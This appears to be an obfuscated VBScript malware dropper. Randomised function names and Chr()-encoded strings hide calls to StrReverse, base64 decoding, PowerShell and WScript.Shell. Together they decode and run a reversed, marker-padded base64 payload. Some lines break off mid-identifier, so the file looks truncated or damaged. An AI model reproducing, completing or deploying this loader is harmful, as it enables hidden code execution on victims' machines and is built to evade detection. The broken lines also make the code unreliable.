"(MwlJtWQUZUbhbuKGjoMMcKsxcKvDNbCLqCdKwoDUKtQMYKWxPdKxCyKUDGMKuMOdtZscecTbcicNhBtiZZNKHbiLKHYNDfPiOWPKuLrLirIlKuLcBBtrLbzPruKxuSBKlHGxUxOucUncLipDgNquuhuHOnNHLBDtlLtipaqybaUscPpNdJMOcKPGcUcULKBzZwCnlgc ,cUcsJBPhZUbPUDBHHANnrLsjBAGKnARtWRzAUAtDhJUnGhdBYzINNuJUcuQRlQJsWsJBAGlABUPnPSNUsZYJPyUUDPGYcelSJBTJPtiUUidqAUUBxSJcMUkTiULBDrSIWouIUIhWBhLcDXGKUCWcDWloJqIPUDtJcDvXBWSubWUscDBCcsQhBAYQchRUtDDQZUNqqUp, PaTQSdhSNTLMzDkOUbvYONGbWCLACUDUDDcCabDlzSUYOzzAScTUcKSThxHIcHdqeUMWvbJUWTDCsfgZUNGScvTTdcOGhAvsddLSSUaTZaUiCnTWCfSIQzfLanNADOfTOWxBTBYqWSLjGAGAneDQDacWdidcTCDSTGUAGZuKLZTGjPGGWQHYWCSmjSiTUdCpNaciina)"
execute(ciZkMBKAtowBkPRgOKufojUGIJKOnLkQpkOJiKciLMcfqLsUTOUDKaGoDaUyRUwuNDOILKaLIaanrchKDtOGBkanWBqODKSbwBUGSQInKIvBJInIDcMmikpUIcjUPvcUNqaLoLGOIAXPLnfOYcpKPfRqwueBnjcMZLgnWcZawcoUPJWyWkUGIJTDPAUoQWjmtiKuBYr)
End Function
Function eKRiX(MwlJtWQUZUbhbuKGjoMMcKsxcKvDNbCLqCdKwoDUKtQMYKWxPdKxCyKUDGMKuMOdtZscecTbcicNhBtiZZNKHbiLKHYNDfPiOWPKuLrLirIlKuLcBBtrLbzPruKxuSBKlHGxUxOucUncLipDgNquuhuHOnNHLBDtlLtipaqybaUscPpNdJMOcKPGcUcULKBzZwCnlgc)
kOssBwTfWrsUKKDNOZLKcsIpHGNUsNkchkpIOZZinMcnZzPJScnsZczWckApHAMRLCcHqHHNHANKLUYUCcXzkDALkkZsunUXMkWzdcKLUKTYIKLHQLMiDRRWKDsJKOUnwkBKrKLKHfWkqKZUGthTKcAzMDOkLOoBUHGLIsrcssWskWNUzsALHISwkfArckOIWOZDYGU = Chr(83)&Chr(116)&Chr(114)&Chr(82)&Chr(101)&Chr(118)&Chr(101)&Chr(114)&Chr(115)&Chr(101)
ciZkMBKAtowBkPRgOKufojUGIJKOnLkQpkOJiKciLMcfqLsUTOUDKaGoDaUyRUwuNDOILKaLIaanrchKDtOGBkanWBqODKSbwBUGSQInKIvBJInIDcMmikpUIcjUPvcUNqaLoLGOIAXPLnfOYcpKPfRqwueBnjcMZLgnWcZawcoUPJWyWkUGIJTDPAUoQWjmtiKuBYr = "eKRiX = "
ciZkMBKAtowBkPRgOKufojUGIJKOnLkQpkOJiKciLMcfqLsUTOUDKaGoDaUyRUwuNDOILKaLIaanrchKDtOGBkanWBqODKSbwBUGSQInKIvBJInIDcMmikpUIcjUPvcUNqaLoLGOIAXPLnfOYcpKPfRqwueBnjcMZLgnWcZawcoUPJWyWkUGIJTDPAUoQWjmtiKuBYr = ciZkMBKAtowBkPRgOKufojUGIJKOnLkQpkOJiKciLMcfqLsUTOUDKaGoDaUyRUwuNDOILKaLIaanrchKDtOGBkanWBqODKSbwBUGSQInKIvBJInIDcMmikpUIcjUPvcUNqaLoLGOIAXPLnfOYcpKPfRqwueBnjcMZLgnWcZawcoUPJWyWkUGIJTDPAUoQWjmtiKuBYr + kOssBwTfWrsUKKDNOZLKcsIpHGNUsNkchkpIOZZinMcnZzPJScnsZczWckApHAMRLCcHqHHNHANKLUYUCcXzkDALkkZsunUXMkWzdcKLUKTYIKLHQLMiDRRWKDsJKOUnwkBKrKLKHfWkqKZUGthTKcAzMDOkLOoBUHGLIsrcssWskWNUzsALHISwkfArckOIWOZDYGU
ciZkMBKAtowBkPRgOKufojUGIJKOnLkQpkOJiKciLMcfqLsUTOUDKaGoDaUyRUwuNDOILKaLIaanrchKDtOGBkanWBqODKSbwBUGSQInKIvBJInIDcMmikpUIcjUPvcUNqaLoLGOIAXPLnfOYcpKPfRqwueBnjcMZLgnWcZawcoUPJWyWkUGIJTDPAUoQWjmtiKuBYr = ciZkMBKAtowBkPRgOKufojUGIJKOnLkQpkOJiKciLMcfqLsUTOUDKaGoDaUyRUwuNDOILKaLIaanrchKDtOGBkanWBqODKSbwBUGSQInKIvBJInIDcMmikpUIcjUPvcUNqaLoLGOIAXPLnfOYcpKPfRqwueBnjcMZLgnWcZawcoUPJWyWkUGIJTDPAUoQWjmtiKuBYr + "(MwlJtWQUZUbhbuKGjoMMcKsxcKvDNbCLqCdKwoDUKtQMYKWxPdKxCyKUDGMKuMOdtZscecTbcicNhBtiZZNKHbiLKHYNDfPiOWPKuLrLirIlKuLcBBtrLbzPruKxuSBKlHGxUxOucUncLipDgNquuhuHOnNHLBDtlLtipaqybaUscPpNdJMOcKPGcUcULKBzZwCnlgc)"
execute(ciZkMBKAtowBkPRgOKufojUGIJKOnLkQpkOJiKciLMcfqLsUTOUDKaGoDaUyRUwuNDOILKaLIaanrchKDtOGBkanWBqODKSbwBUGSQInKIvBJInIDcMmikpUIcjUPvcUNqaLoLGOIAXPLnfOYcpKPfRqwueBnjcMZLgnWcZawcoUPJWyWkUGIJTDPAUoQWjmtiKuBYr)
End Function
Function oCqCIUHfUWDNxuwcAcuLJTlonLuDCWmQRmkLCcoxWIWLqWJOCkLNgmJWuwroWrsPNLhnuljWnaMCHDcDLUAJWUaJcWqAupUCsUmJDQQJDQdgLjJnmDIGPxSmQWTOuLDLpcwIWIxPnfJKwLRDjkRauJWcsZfWJYoIqwpLymmmDmWlKDyAdCrxnLCoKfmWQcYiUCgZgjZ(GNCqorPKPsWjUDbbOscqUMeGOQKbDeQKcQOQNsKtDobqgDvUPOMYjKgsneHWSHrPUcIODnBeOugDYokkcPygGmuoTGgynTworrxgHKPokPlGQIoOrooJOUUxPWMUDxoMQOeKsKJNOKqKXOybkPcLDnSOrXbGoWKoCXUONSkKWSseKGNhzqHJOQPBKKqsKTWmPNjXGkD,ucxUOKZOyLeevMivyLYBAmRPGkdHAgYgSYlkcLQbKOKBcKNyWlUnQWSLbbYOdYOGsNWGGAogGPhAPSxANyrSIgPcPIcrbcfcOKRSTgecAeWjkxcGASOBxvcReRmyMZSUQfbOLOaKGOMpMBJHeISeMedfOgNIceQOxMNBNlfWelLRpoNDXUYaGkWspOYLgPeNycQgjeT,ckWeDnuLKUBuCpUQdtqHfesflGQnwyDdGDLNgtSGJmjGqiOdJKaDGeWwqplzQlrhNPilicSClPLwbeotHDNWWKbWcWqcLJRZJpavYTUATGhkNKWZbomGjZgAGOeABayWTXeDULojlsvAehczGZUTKvAvlQKWWcqesWpwqaxcBaNBAvQctlYWZBvysLBUTccSKklWkRR)
oCqCIUHfUWDNxuwcAcuLJTlonLuDCWmQRmkLCcoxWIWLqWJOCkLNgmJWuwroWrsPNLhnuljWnaMCHDcDLUAJWUaJcWqAupUCsUmJDQQJDQdgLjJnmDIGPxSmQWTOuLDLpcwIWIxPnfJKwLRDjkRauJWcsZfWJYoIqwpLymmmDmWlKDyAdCrxnLCoKfmWQcYiUCgZgjZ = WEEFRCHIMRBZQVMIMZNELERSYSEPNEXGVUTMWXYVIFWOYUYAMSDZBWIRMMGZYSVIUVDVBALOBRVGHDTDUDCUAXEYMCZKQZXQJNTDRCZMGPYKBBJJSCEVPAIWQEJZABYBUEWUJQMSEQOLYUXKSQSNVCBIEXMMSALFQXPXFPZBPMRZMXXWHZGJJKGSDOPMDAZDEJUBFAF(GNCqorPKPsWjUDbbOscqUMeGOQKbDeQKcQOQNsKtDobqgDvUPOMYjKgsneHWSHrPUcIODnBeOugDYokkcPygGmuoTGgynTworrxgHKPokPlGQIoOrooJOUUxPWMUDxoMQOeKsKJNOKqKXOybkPcLDnSOrXbGoWKoCXUONSkKWSseKGNhzqHJOQPBKKqsKTWmPNjXGkD, ucxUOKZOyLeevMivyLYBAmRPGkdHAgYgSYlkcLQbKOKBcKNyWlUnQWSLbbYOdYOGsNWGGAogGPhAPSxANyrSIgPcPIcrbcfcOKRSTgecAeWjkxcGASOBxvcReRmyMZSUQfbOLOaKGOMpMBJHeISeMedfOgNIceQOxMNBNlfWelLRpoNDXUYaGkWspOYLgPeNycQgjeT, ckWeDnuLKUBuCpUQdtqHfesflGQnwyDdGDLNgtSGJmjGqiOdJKaDGeWwqplzQlrhNPilicSClPLwbeotHDNWWKbWcWqcLJRZJpavYTUATGhkNKWZbomGjZgAGOeABayWTXeDULojlsvAehczGZUTKvAvlQKWWcqesWpwqaxcBaNBAvQctlYWZBvysLBUTccSKklWkRR)
End Function
Function OYayAmZlqcNOfPAvWDfRNUKKNodrRslpGlRoYDeccAnRzclaTRMfPBGcWelYplGggNSNNpOsNgfRUIncNqZGDYgKaDzZWKmAGmkGLpHKcHlNooKNRIAZzfvkHBUaPcIMIPefcfSLNlNvOIJrlDGIPspPGWXDKMeAaODICNdBNNcKvDCDiylSNoTBvlGcpaMcqYPWNlo(GNCqorPKPsWjUDbbOscqUMeGOQKbDeQKcQOQNsKtDobqgDvUPOMYjKgsneHWSHrPUcIODnBeOugDYokkcPygGmuoTGgynTworrxgHKPokPlGQIoOrooJOUUxPWMUDxoMQOeKsKJNOKqKXOybkPcLDnSOrXbGoWKoCXUONSkKWSseKGNhzqHJOQPBKKqsKTWmPNjXGkD)
OYayAmZlqcNOfPAvWDfRNUKKNodrRslpGlRoYDeccAnRzclaTRMfPBGcWelYplGggNSNNpOsNgfRUIncNqZGDYgKaDzZWKmAGmkGLpHKcHlNooKNRIAZzfvkHBUaPcIMIPefcfSLNlNvOIJrlDGIPspPGWXDKMeAaODICNdBNNcKvDCDiylSNoTBvlGcpaMcqYPWNlo = StrReverse(GNCqorPKPsWjUDbbOscqUMeGOQKbDeQKcQOQNsKtDobqgDvUPOMYjKgsneHWSHrPUcIODnBeOugDYokkcPygGmuoTGgynTworrxgHKPokPlGQIoOrooJOUUxPWMUDxoMQOeKsKJNOKqKXOybkPcLDnSOrXbGoWKoCXUONSkKWSseKGNhzqHJOQPBKKqsKTWmPNjXGkD)
End Function
uYpyJGGTjNpQLiaTKhIndUGAZSYbccWXGeZeNhplUYwKlxhCPdOUUZSnZJURWaDffdZnUUySpWDJsIrUYPUpIDAjtajUlYSDgyMjpuQDpPnWnvhocWUgApyatjPWhaUGRWLPLKJDJNrhhLWUKSiGwiKKaUIkdxpbjqHDAqfNhLqeLycjXPGbZiPrxWNdeWWPWTgUSdx = " "
vTfWauncvUnKGefKkLWcDKwXAUcSDGRbnDRPagOGwKWwQWLBGToweMwQQMWaRdoNCRQcWOWUdUWPgWTeyfKOWJKiIYbyQKUcLfGvdKWofWBlWTKQNGKLXNReYvfqJdwgYiARYShiaPsGLQbKOoshPsOOcchYJWQTcWOcHZcWpQZPUvMvvdPTMyWsWRUHDXOPQcJwMHP = "/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /"
ODcNOIBRJWbRfGxODWKTlLWbaechGuNdSZQOWWvcXUTRJhWqnGqcUraeerpIBWqycXeTAqNeyCeRDilOCDLvKpeYISlbJUeKqXyJyfcqcWQWeJeXWrvqbzcDKJtQqWcIcABXarWaaOzYWOakWUqQDqPWBuQGehwoLvtzvvCPrOvWOTtJROPoOKmzhXBfZZvXLRXXtIX = OYayAmZlqcNOfPAvWDfRNUKKNodrRslpGlRoYDeccAnRzclaTRMfPBGcWelYplGggNSNNpOsNgfRUIncNqZGDYgKaDzZWKmAGmkGLpHKcHlNooKNRIAZzfvkHBUaPcIMIPefcfSLNlNvOIJrlDGIPspPGWXDKMeAaODICNdBNNcKvDCDiylSNoTBvlGcpaMcqYPWNlo("#$@#kC#$@#zB#$@#d#$@#4G#$@#lBQb#$@#UH#$@#nBgc#$@#EG#$@#k#$@##$@#I#$@#wC#$@#sB#$@#b#$@#UH#$@#uB#$@#J#$@#gC#$@#lBwa#$@#8G#$@#2Bgb#$@#kE#$@#u#$@##$@#" & vTfWauncvUnKGefKkLWcDKwXAUcSDGRbnDRPagOGwKWwQWLBGToweMwQQMWaRdoNCRQcWOWUdUWPgWTeyfKOWJKiIYbyQKUcLfGvdKWofWBlWTKQNGKLXNReYvfqJdwgYiARYShiaPsGLQbKOoshPsOOcchYJWQTcWOcHZcWpQZPUvMvvdPTMyWsWRUHDXOPQcJwMHP & uYpyJGGTjNpQLiaTKhIndUGAZSYbccWXGeZeNhplUYwKlxhCPdOUUZSnZJURWaDffdZnUUySpWDJsIrUYPUpIDAjtajUlYSDgyMjpuQDpPnWnvhocWUgApyatjPWhaUGRWLPLKJDJNrhhLWUKSiGwiKKaUIkdxpbjqHDAqfNhLqeLycjXPGbZiPrxWNdeWWPWTgUSdx & vTfWauncvUnKGefKkLWcDKwXAUcSDGRbnDRPagOGwKWwQWLBGToweMwQQMWaRdoNCRQ
ODcNOIBRJWbRfGxODWKTlLWbaechGuNdSZQOWWvcXUTRJhWqnGqcUraeerpIBWqycXeTAqNeyCeRDilOCDLvKpeYISlbJUeKqXyJyfcqcWQWeJeXWrvqbzcDKJtQqWcIcABXarWaaOzYWOakWUqQDqPWBuQGehwoLvtzvvCPrOvWOTtJROPoOKmzhXBfZZvXLRXXtIX = oCqCIUHfUWDNxuwcAcuLJTlonLuDCWmQRmkLCcoxWIWLqWJOCkLNgmJWuwroWrsPNLhnuljWnaMCHDcDLUAJWUaJcWqAupUCsUmJDQQJDQdgLjJnmDIGPxSmQWTOuLDLpcwIWIxPnfJKwLRDjkRauJWcsZfWJYoIqwpLymmmDmWlKDyAdCrxnLCoKfmWQcYiUCgZgjZ( ODcNOIBRJWbRfGxODWKTlLWbaechGuNdSZQOWWvcXUTRJhWqnGqcUraeerpIBWqycXeTAqNeyCeRDilOCDLvKpeYISlbJUeKqXyJyfcqcWQWeJeXWrvqbzcDKJtQqWcIcABXarWaaOzYWOakWUqQDqPWBuQGehwoLvtzvvCPrOvWOTtJROPoOKmzhXBfZZvXLRXXtIX, vTfWauncvUnKGefKkLWcDKwXAUcSDGRbnDRPagOGwKWwQWLBGToweMwQQMWaRdoNCRQcWOWUdUWPgWTeyfKOWJKiIYbyQKUcLfGvdKWofWBlWTKQNGKLXNReYvfqJdwgYiARYShiaPsGLQbKOoshPsOOcchYJWQTcWOcHZcWpQZPUvMvvdPTMyWsWRUHDXOPQcJwMHP + uYpyJGGTjNpQLiaTKhIndUGAZSYbccWXGeZeNhplUYwKlxhCPdOUUZSnZJURWaDffdZnUUySpWDJsIrUYPUpIDAjtajUlYSDgyMjpuQDpPnWnvhocWUgApyatjPWhaUGRWLPLKJDJNrhhLWUKSiGwiKKaUIkdxpbjqHDAqfNhLqeLycjXPGbZiPrxWNdeWWPWTgUSdx + vTfWauncvUnKGefK
Function zJZRRtraOJuWnsLSwMwDYNZLMzWmfLPPqOQOcLDajLbtIKzmhWrKjSxPYqicPuikPhQHWURIJPcULxlTwcNDAPppvlPUILIGPwOTJBzKZPgOiwjwccGxNlCuPqYcvoKpaKWHcksNJUxXXWmUBTPmUTGBauQUNKcLQZiWJgLeGcuxWWCOWuWGzSUxyKJcOlGecdGjCvy(str)
Dim i, SCASARCPKVFPHAJGTKUPECXOEESSYDKGMILBQAJSVANUDYRQOHMOXSVPFLNVYKQGLZDYOHQTBCTEODLGNCEQQWITNVWEMNTLJHJEUTBHRTMVYQACAHIWGAPPQJKTKLHNIIUHTHLTAWYXJNUWUUEEFXFJRTNLIIWGLYNQWSITWPVJBSFCOOYQHDIKDLQZTZKRASLKAEA
SCASARCPKVFPHAJGTKUPECXOEESSYDKGMILBQAJSVANUDYRQOHMOXSVPFLNVYKQGLZDYOHQTBCTEODLGNCEQQWITNVWEMNTLJHJEUTBHRTMVYQACAHIWGAPPQJKTKLHNIIUHTHLTAWYXJNUWUUEEFXFJRTNLIIWGLYNQWSITWPVJBSFCOOYQHDIKDLQZTZKRASLKAEA = ""
For i = Len(str) To 1 Step -1
SCASARCPKVFPHAJGTKUPECXOEESSYDKGMILBQAJSVANUDYRQOHMOXSVPFLNVYKQGLZDYOHQTBCTEODLGNCEQQWITNVWEMNTLJHJEUTBHRTMVYQACAHIWGAPPQJKTKLHNIIUHTHLTAWYXJNUWUUEEFXFJRTNLIIWGLYNQWSITWPVJBSFCOOYQHDIKDLQZTZKRASLKAEA = SCASARCPKVFPHAJGTKUPECXOEESSYDKGMILBQAJSVANUDYRQOHMOXSVPFLNVYKQGLZDYOHQTBCTEODLGNCEQQWITNVWEMNTLJHJEUTBHRTMVYQACAHIWGAPPQJKTKLHNIIUHTHLTAWYXJNUWUUEEFXFJRTNLIIWGLYNQWSITWPVJBSFCOOYQHDIKDLQZTZKRASLKAEA & Mid(str, i, 1)
Next
zJZRRtraOJuWnsLSwMwDYNZLMzWmfLPPqOQOcLDajLbtIKzmhWrKjSxPYqicPuikPhQHWURIJPcULxlTwcNDAPppvlPUILIGPwOTJBzKZPgOiwjwccGxNlCuPqYcvoKpaKWHcksNJUxXXWmUBTPmUTGBauQUNKcLQZiWJgLeGcuxWWCOWuWGzSUxyKJcOlGecdGjCvy = SCASARCPKVFPHAJGTKUPECXOEESSYDKGMILBQAJSVANUDYRQOHMOXSVPFLNVYKQGLZDYOHQTBCTEODLGNCEQQWITNVWEMNTLJHJEUTBHRTMVYQACAHIWGAPPQJKTKLHNIIUHTHLTAWYXJNUWUUEEFXFJRTNLIIWGLYNQWSITWPVJBSFCOOYQHDIKDLQZTZKRASLKAEA
End Function
Function CVOZKvlRPUKsyUBCKWlnFAJHCXYOUYCXHLZGQCcnMJvLXCACAHNyHGIUlnVJHGWRUBJGnULnEJNVZBygXVDgLyKZDJGvAUnQJdOJWoKsBKuFUHnMnuNUCuQEWJDLrTEgPHlUHFGTKdQAEErPOsXGcWsYMpCJKvGIFCGZDZCHHUSOKZZrQHUTWMLTDpHKCTKHnCVCOHX()
Dim asciiString
asciiString = Chr(91)&Chr(115)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(46)&Chr(67)&Chr(111)&Chr(110)&Chr(118)&Chr(101)&Chr(114)&Chr(116)&Chr(93)&Chr(58)&Chr(58)&Chr(70)&Chr(114)&Chr(111)&Chr(109)&Chr(98)&Chr(97)&Chr(115)&Chr(101)&Chr(54)&Chr(52)&Chr(83)&Chr(116)&Chr(114)&Chr(105)&Chr(110)&Chr(103)&Chr(40)&Chr(32)&Chr(36)&Chr(99)&Chr(111)&Chr(100)&Chr(105)&Chr(103)&Chr(111)&Chr(46)&Chr(114)&Chr(101)&Chr(112)&Chr(108)&Chr(97)&Chr(99)&Chr(101)&Chr(40)&Chr(39)&Chr(35)&Chr(64)&Chr(36)&Chr(35)&Chr(39)&Chr(44)&Chr(39)&Chr(65)&Chr(39)&Chr(41)&Chr(32)&Chr(41)&Chr(32)&Chr(41)
CVOZKvlRPUKsyUBCKWlnFAJHCXYOUYCXHLZGQCcnMJvLXCACAHNyHGIUlnVJHGWRUBJGnULnEJNVZBygXVDgLyKZDJGvAUnQJdOJWoKsBKuFUHnMnuNUCuQEWJDLrTEgPHlUHFGTKdQAEErPOsXGcWsYMpCJKvGIFCGZDZCHHUSOKZZrQHUTWMLTDpHKCTKHnCVCOHX = asciiString
End Function
KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG = zJZRRtraOJuWnsLSwMwDYNZLMzWmfLPPqOQOcLDajLbtIKzmhWrKjSxPYqicPuikPhQHWURIJPcULxlTwcNDAPppvlPUILIGPwOTJBzKZPgOiwjwccGxNlCuPqYcvoKpaKWHcksNJUxXXWmUBTPmUTGBauQUNKcLQZiWJgLeGcuxWWCOWuWGzSUxyKJcOlGecdGjCvy("' = ogid" & Chr(35) & Chr(35) & Chr(35) & Chr(35) & Chr(35) & "C$") & ODcNOIBRJWbRfGxODWKTlLWbaechGuNdSZQOWWvcXUTRJhWqnGqcUraeerpIBWqycXeTAqNeyCeRDilOCDLvKpeYISlbJUeKqXyJyfcqcWQWeJeXWrvqbzcDKJtQqWcIcABXarWaaOzYWOakWUqQDqPWBuQGehwoLvtzvvCPrOvWOTtJROPoOKmzhXBfZZvXLRXXtIX & "'"
Function WGUhkhdpxxkKxxWGUPKDhPXTOUWrxWOZTIUkwPrDpIhpUGYYPXNcKkGxdPOWBkRpHKBkDGprBaYOdWxccOpfpBkuYhmhPULWXtQWGTzKWkUTiwDKddNHLHWpGBYIDpBKNyKxwTeKWtWZBBPxKHtHuRHWKaPXLhkHTWkUxhWHyxKrWNuuwwHKROpKzPdLPpzdLOGOQTc()
Dim asciiStringg
asciiStringg = Chr(59)&Chr(36)&Chr(79)&Chr(87)&Chr(106)&Chr(117)&Chr(120)&Chr(100)&Chr(32)&Chr(61)&Chr(32)&Chr(91)&Chr(115)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(46)&Chr(84)&Chr(101)&Chr(120)&Chr(116)&Chr(46)&Chr(101)&Chr(110)&Chr(99)&Chr(111)&Chr(100)&Chr(105)&Chr(110)&Chr(103)&Chr(93)&Chr(58)&Chr(58)&Chr(85)&Chr(110)&Chr(105)&Chr(99)&Chr(111)&Chr(100)&Chr(101)&Chr(46)&Chr(71)&Chr(101)&Chr(116)&Chr(83)&Chr(116)&Chr(114)&Chr(105)&Chr(110)&Chr(103)&Chr(40)&Chr(32)
WGUhkhdpxxkKxxWGUPKDhPXTOUWrxWOZTIUkwPrDpIhpUGYYPXNcKkGxdPOWBkRpHKBkDGprBaYOdWxccOpfpBkuYhmhPULWXtQWGTzKWkUTiwDKddNHLHWpGBYIDpBKNyKxwTeKWtWZBBPxKHtHuRHWKaPXLhkHTWkUxhWHyxKrWNuuwwHKROpKzPdLPpzdLOGOQTc = asciiStringg
End Function
Function nUIcGUMKBckcsadLybUTDPYWeyleWfriTCCLOGjANXWcSDbmnZUPgmUUumgfdjUlCAuTajcyvQUWAxKrQBPjUWRWeNodSXyULxxBvBajIAqLULoUcASLKeshWBWWHjPxHLZcyUAXeYzUbWYipAiDSippdAPWKDllcszhessmmWsQWWpBUAHlWSczDcZMCQQKgKONpGK(command)
UNoNOGQRJzTWQAOcNWMBTCWxagLIJuNUwYiGjovpNmTWiHWOGhwHXNUPvNvUBdwmGxvBWbNgyQPujnDNQnCvMglDIGGNimgoNjyJylXbotGWPcIkzoONcGLapJOUJdHPeKAbWWtcaOIqWiiyWUigviPWBUbGPHSPQyPXxyNUWiyXiTXJSIPPUKLIHbAOYWfjvRoNXcj = ")6$%!!#!@/((
7/#**@$
)%$(9$%
56*|?!!#1&!)@@
-):(37)!(&((
@@&)(())0(#$
(@(*&@/3&/##)&&/)4@*
!#2#@/#*7#(6%#($@!(%
#7*)@8*@-!1!(/(%%(!$#(%)%$))(7%(1
-&&#$\!$((%5
7%#$49)%(%(6@
#!#/@)$%@6|+($6ow](
:(((((@(*
(+@@(:
@+:(rsh](
:(((((@(*
(+@@(:
@+:(ll -co
$$$!!#!@(1*%$$#
$&%$%%((@&(%%$&**@!#*%@
#@%%&*8((
&*&&(&#$%&@/&
/@$%!#(#@%$&%#*%%$&$@!-%%%#%
@%!(!5(5%$&!8#*%(%$&*&$$((%(%
$$*!$(&%%%*81%(
#7%(($(%&%@%#!#(@
@$*(*$(
$$$!!#!@(1*%$$#
$&%$%%((@&(%%$&**@!#*%@
#@%%&*8((
&*&&(&#$%&@/&
/@$%!#(#@%$&%#*%%$&$@!-%%%#%
@%!(!5(5%$&!8#*%(%$&*&$$((%(%
$$*!$(&%%%*81%(
#7%(($(%&%@%#!#(@
@$*(*$(and " & command
UNoNOGQRJzTWQAOcNWMBTCWxagLIJuNUwYiGjovpNmTWiHWOGhwHXNUPvNvUBdwmGxvBWbNgyQPujnDNQnCvMglDIGGNimgoNjyJylXbotGWPcIkzoONcGLapJOUJdHPeKAbWWtcaOIqWiiyWUigviPWBUbGPHSPQyPXxyNUWiyXiTXJSIPPUKLIHbAOYWfjvRoNXcj = WEEFRCHIMRBZQVMIMZNELERSYSEPNEXGVUTMWXYVIFWOYUYAMSDZBWIRMMGZYSVIUVDVBALOBRVGHDTDUDCUAXEYMCZKQZXQJNTDRCZMGPYKBBJJSCEVPAIWQEJZABYBUEWUJQMSEQOLYUXKSQSNVCBIEXMMSALFQXPXFPZBPMRZMXXWHZGJJKGSDOPMDAZDEJUBFAF(UNoNOGQRJzTWQAOcNWMBTCWxagLIJuNUwYiGjovpNmTWiHWOGhwHXNUPvNvUBdwmGxvBWbNgyQPujnDNQnCvMglDIGGNimgoNjyJylXbotGWPcIkzoONcGLapJOUJdHPeKAbWWtcaOIqWiiyWUigviPWBUbGPHSPQyPXxyNUWiyXiTXJSIPPUKLIHbAOYWfjvRoNXcj,"](
:(((((@(*
(+@@(:
@+:(","e")
UNoNOGQRJzTWQAOcNWMBTCWxagLIJuNUwYiGjovpNmTWiHWOGhwHXNUPvNvUBdwmGxvBWbNgyQPujnDNQnCvMglDIGGNimgoNjyJylXbotGWPcIkzoONcGLapJOUJdHPeKAbWWtcaOIqWiiyWUigviPWBUbGPHSPQyPXxyNUWiyXiTXJSIPPUKLIHbAOYWfjvRoNXcj = WEEFRCHIMRBZQVMIMZNELERSYSEPNEXGVUTMWXYVIFWOYUYAMSDZBWIRMMGZYSVIUVDVBALOBRVGHDTDUDCUAXEYMCZKQZXQJNTDRCZMGPYKBBJJSCEVPAIWQEJZABYBUEWUJQMSEQOLYUXKSQSNVCBIEXMMSALFQXPXFPZBPMRZMXXWHZGJJKGSDOPMDAZDEJUBFAF(UNoNOGQRJzTWQAOcNWMBTCWxagLIJuNUwYiGjovpNmTWiHWOGhwHXNUPvNvUBdwmGxvBWbNgyQPujnDNQnCvMglDIGGNimgoNjyJylXbotGWPcIkzoONcGLapJOUJdHPeKAbWWtcaOIqWiiyWUigviPWBUbGPHSPQyPXxyNUWiyXiTXJSIPPUKLIHbAOYWfjvRoNXcj,"
$$$!!#!@(1*%$$#
$&%$%%((@&(%%$&**@!#*%@
#@%%&*8((
&*&&(&#$%&@/&
/@$%!#(#@%$&%#*%%$&$@!-%%%#%
@%!(!5(5%$&!8#*%(%$&*&$$((%(%
$$*!$(&%%%*81%(
#7%(($(%&%@%#!#(@
@$*(*$(","m")
UNoNOGQRJzTWQAOcNWMBTCWxagLIJuNUwYiGjovpNmTWiHWOGhwHXNUPvNvUBdwmGxvBWbNgyQPujnDNQnCvMglDIGGNimgoNjyJylXbotGWPcIkzoONcGLapJOUJdHPeKAbWWtcaOIqWiiyWUigviPWBUbGPHSPQyPXxyNUWiyXiTXJSIPPUKLIHbAOYWfjvRoNXcj = WEEFRCHIMRBZQVMIMZNELERSYSEPNEXGVUTMWXYVIFWOYUYAMSDZBWIRMMGZYSVIUVDVBALOBRVGHDTDUDCUAXEYMCZKQZXQJNTDRCZMGPYKBBJJSCEVPAIWQEJZABYBUEWUJQMSEQOLYUXKSQSNVCBIEXMMSALFQXPXFPZBPMRZMXXWHZGJJKGSDOPMDAZDEJUBFAF(UNoNOGQRJzTWQAOcNWMBTCWxagLIJuNUwYiGjovpNmTWiHWOGhwHXNUPvNvUBdwmGxvBWbNgyQPujnDNQnCvMglDIGGNimgoNjyJylXbotGWPcIkzoONcGLapJOUJdHPeKAbWWtcaOIqWiiyWUigviPWBUbGPHSPQyPXxyNUWiyXiTXJSIPPUKLIHbAOYWfjvRoNXcj,")6$%!!#!@/((
7/#**@$
)%$(9$%
56*|?!!#1&!)@@
-):(37)!(&((
@@&)(())0(#$
(@(*&@/3&/##)&&/)4@*
!#2#@/#*7#(6%#($@!(%
#7*)@8*@-!1!(/(%%(!$#(%)%$))(7%(1
-&&#$\!$((%5
7%#$49)%(%(6@
#!#/@)$%@6|+($6","p")
UNoNOGQRJzTWQAOcNWMBTCWxagLIJuNUwYiGjovpNmTWiHWOGhwHXNUPvNvUBdwmGxvBWbNgyQPujnDNQnCvMglDIGGNimgoNjyJylXbotGWPcIkzoONcGLapJOUJdHPeKAbWWtcaOIqWiiyWUigviPWBUbGPHSPQyPXxyNUWiyXiTXJSIPPUKLIHbAOYWfjvRoNXcje = Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)
Set DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ = CreateObject(UNoNOGQRJzTWQAOcNWMBTCWxagLIJuNUwYiGjovpNmTWiHWOGhwHXNUPvNvUBdwmGxvBWbNgyQPujnDNQnCvMglDIGGNimgoNjyJylXbotGWPcIkzoONcGLapJOUJdHPeKAbWWtcaOIqWiiyWUigviPWBUbGPHSPQyPXxyNUWiyXiTXJSIPPUKLIHbAOYWfjvRoNXcje)
